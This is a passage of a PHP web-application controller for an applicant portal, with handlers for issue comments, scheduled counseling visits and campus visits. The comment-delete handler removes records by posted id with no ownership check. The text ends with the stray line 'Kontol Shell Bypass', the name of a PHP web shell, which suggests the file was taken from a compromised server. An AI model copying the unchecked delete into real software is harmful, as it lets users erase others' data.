		$comment=trim($this->input->post('comment'));
		if(!$comment){
			$inf['msg']="Please write message"; $this->json_data($inf);
		}
		if($this->db->select("status")->get_where("issues_reported", array('id'=>$id))->row()->status==3){
			$inf['msg']="You can not comment on closed issue"; $this->json_data($inf);
		}

		$data=array('parent_id'=>$id, 'description'=>$comment);
		if($this->common->save($data, "issues_reported")){
			$this->common->sendIssueCommentEmail($id, $comment);

			$inf['success']='T';
			$inf['msg']="Comment added";
			$inf['dtl']=$this->user->reportedIssueDetail($id);
		}
		$this->json_data($inf);
	}

	function deleteIssueComment(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$parent_id=intval($this->input->post('parent_id'));
		if($this->db->delete("issues_reported", array('id'=>$id))){
			$inf['success']='T';
			$inf['msg']="Comment deleted successfully";
			$inf['dtl']=$this->user->reportedIssueDetail($parent_id);
		}
		$this->json_data($inf);
	}

	/** Schedule Visit */
	function initScheduleVisit(){
		$data['venues']=$this->user->venues();
		$data['visitDtl']=$this->user->visitDetail();
		$this->json_data($data);
	}

	function scheduleVisit(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$date=trim($this->input->post('appoint_date'));
		$venue_id=trim($this->input->post('venue_id'));
		if(!$date){
			$inf['msg']="Please select date"; $this->json_data($inf);
		}
		if(strtotime($date)<strtotime(date('Y-m-d'))){
			$inf['msg']="Please select future date"; $this->json_data($inf);
		}
		if(!$venue_id){
			$inf['msg']="Please select counseling center"; $this->json_data($inf);
		}
		if($this->user->visitDetail()){
			$inf['msg']="You have already scheduled a visit"; $this->json_data($inf);
		}

		$appId=$this->db->select("id")->order_by("id")->limit(1)->get_where("applications", array('applicant_id'=>USER_ID))->row()->id;
		$data=array('appoint_date'=>to_date_format($date), 'venue_id'=>$venue_id, 'applicant_id'=>USER_ID, 'application_id'=>$appId);
		if($id=$this->common->save($data, "scheduled_visits")){
			$this->common->sendScheduleVisitEmail($id);

			$inf['success']='T';
			$inf['msg']="Visit scheduled";
			$inf['visitDtl']=$this->user->visitDetail();
		}
		$this->json_data($inf);
	}

	function cancelVisit(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if($this->db->delete("scheduled_visits", array('applicant_id'=>USER_ID))){
			$inf['success']='T';
			$inf['msg']="Visit cancelled";
			$inf['visitDtl']=$this->user->visitDetail();
		}
		$this->json_data($inf);
	}

	/** Campus Visit */
	function initCampusVisit(){
		$data['campusLists']=$this->user->campusLists();
		$data['cvisitDtl']=$this->user->campusVisitDetail();
		$this->json_data($data);
	}

	function saveCampusVisit(){
		$inf=array('success'=>false, 'msg'=>'Error!');
		$date=trim($this->input->post('cdate'));
		$time=trim($this->input->post('ctime'));
		$campus_id=trim($this->input->post('campus_id'));
		if(!$date){
			$inf['msg']="Please select date"; $this->json_data($inf);
		}
		if(strtotime($date)<strtotime(date('Y-m-d'))){
			$inf['msg']="Please select future date"; $this->json_data($inf);
		}
		if(!$time){
			$inf['msg']="Please select time"; $this->json_data($inf);
		}
		if(!$campus_id){
			$inf['msg']="Please select campus"; $this->json_data($inf);
		}
		if($this->user->campusVisitDetail()){
			$inf['msg']="You have already scheduled a visit"; $this->json_data($inf);
		}

		$appId=$this->db->select("id")->order_by("id")->limit(1)->get_where("applications", array('applicant_id'=>USER_ID))->row()->id;
		$data=array('visit_datetime'=>to_date_format($date.' '.$time), 'campus_id'=>$campus_id, 'applicant_id'=>USER_ID, 'application_id'=>$appId);
		if($id=$this->common->save($data, "campus_visits")){
			$this->common->sendCampusVisitEmail($id);

			$inf['success']=true;
			$inf['msg']="Campus Visit scheduled";
			$inf['cvisitDtl']=$this->user->campusVisitDetail();
		}
		$this->json_data($inf);
	}

	function cancelCampusVisit(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if($this->db->delete("campus_visits", array('applicant_id'=>USER_ID))){
			$inf['success']='T';
			$inf['msg']="Campus Visit cancelled";
			$inf['cvisitDtl']=$this->user->campusVisitDetail();
		}
		$this->json_data($inf);
	}
}

//EOF

Kontol Shell Bypass